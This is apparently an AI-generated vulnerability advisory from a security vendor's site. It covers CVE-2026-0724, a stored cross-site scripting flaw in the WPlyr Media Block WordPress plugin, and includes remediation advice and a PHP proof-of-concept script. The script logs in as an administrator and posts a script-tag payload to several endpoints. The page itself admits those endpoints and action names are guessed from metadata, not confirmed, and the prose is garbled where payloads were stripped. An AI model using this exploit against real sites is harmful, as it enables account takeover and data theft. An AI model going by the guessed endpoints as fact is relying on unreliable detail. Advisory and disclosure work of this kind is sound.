Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0724: WPlyr Media Block <= 1.3.0 – Authenticated (Administrator+) Stored Cross-Site Scripting via '_wplyr_accent_color' Parameter (wplyr-media-block)

CVE ID CVE-2026-0724
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.3.0
Patched Version
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0724 (metadata-based):
The WPlyr Media Block plugin for WordPress contains an authenticated stored cross-site scripting vulnerability in versions up to and including 1.3.0. The vulnerability exists in the ‘_wplyr_accent_color’ parameter handling. Attackers with administrator privileges can inject malicious scripts that execute when users view affected pages.

Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on user-supplied attributes. The CWE-79 classification confirms improper neutralization of input during web page generation. The plugin likely stores user-provided ‘_wplyr_accent_color’ values in post meta or block attributes without proper validation. These values are then rendered without adequate escaping in frontend output. This analysis is inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.

Exploitation requires administrator-level access to WordPress. Attackers would navigate to the block editor or plugin settings where the ‘_wplyr_accent_color’ parameter is accepted. They would inject a malicious payload like alert(‘XSS’) or . The payload would be stored in the database and execute whenever the affected page loads. The attack vector likely involves AJAX handlers or REST API endpoints that update block attributes, though the exact endpoint cannot be confirmed without source code.

Remediation requires implementing proper input validation and output escaping. Developers should sanitize the ‘_wplyr_accent_color’ parameter using WordPress functions like sanitize_hex_color() or wp_kses(). Output should be escaped with esc_attr() when used in HTML attributes or esc_html() when displayed as text. WordPress nonce verification and capability checks should also be implemented if absent. The patch should ensure all user-controlled data undergoes validation before storage and escaping before rendering.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of authenticated users. This can lead to session hijacking, administrative account takeover, content defacement, or redirection to malicious sites. The stored nature means a single injection affects all users viewing the compromised page. Attackers could leverage this to create backdoor admin accounts or steal sensitive data from logged-in users.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0724 - WPlyr Media Block <= 1.3.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via '_wplyr_accent_color' Parameter
<?php
/**
 * Proof of Concept for CVE-2026-0724
 * This script demonstrates exploitation of stored XSS in WPlyr Media Block plugin.
 * Assumptions based on metadata analysis:
 * 1. The '_wplyr_accent_color' parameter accepts unsanitized input
 * 2. Administrator authentication is required
 * 3. The parameter is stored in post meta or block attributes
 * 4. The exact endpoint is unknown, so we target common WordPress patterns
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'admin';
$password = 'password';

// XSS payload - modify as needed for demonstration
$payload = '"><script>alert(document.domain)</script>';

// Initialize cURL session for authentication
$ch = curl_init();

// First, authenticate to get cookies
curl_setopt_array($ch, [
    CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => '/wp-admin/',
        'testcookie' => '1'
    ])
]);

$response = curl_exec($ch);

// Check authentication success by looking for dashboard
if (strpos($response, 'Dashboard') === false) {
    die('Authentication failed. Check credentials.');
}

// Attempt exploitation via common WordPress endpoints
// Note: The exact endpoint is unknown, so we try likely patterns
$endpoints = [
    '/wp-admin/admin-ajax.php' => [
        'action' => 'wplyr_update_settings',
        '_wplyr_accent_color' => $payload
    ],
    '/wp-admin/admin-post.php' => [
        'action' => 'wplyr_save_color',
        '_wplyr_accent_color' => $payload
    ]
];

foreach ($endpoints as $path => $data) {
    $url = str_replace('/wp-admin/admin-ajax.php', $path, $target_url);
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true
    ]);
    
    $result = curl_exec($ch);
    echo "Attempted exploitation via $pathn";
    echo "Response: " . substr($result, 0, 200) . "...nn";
}

curl_close($ch);

echo "Exploitation attempts completed. Check target pages for XSS execution.n";
echo "Note: This PoC is based on inferred attack vectors. Actual endpoint may differ.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School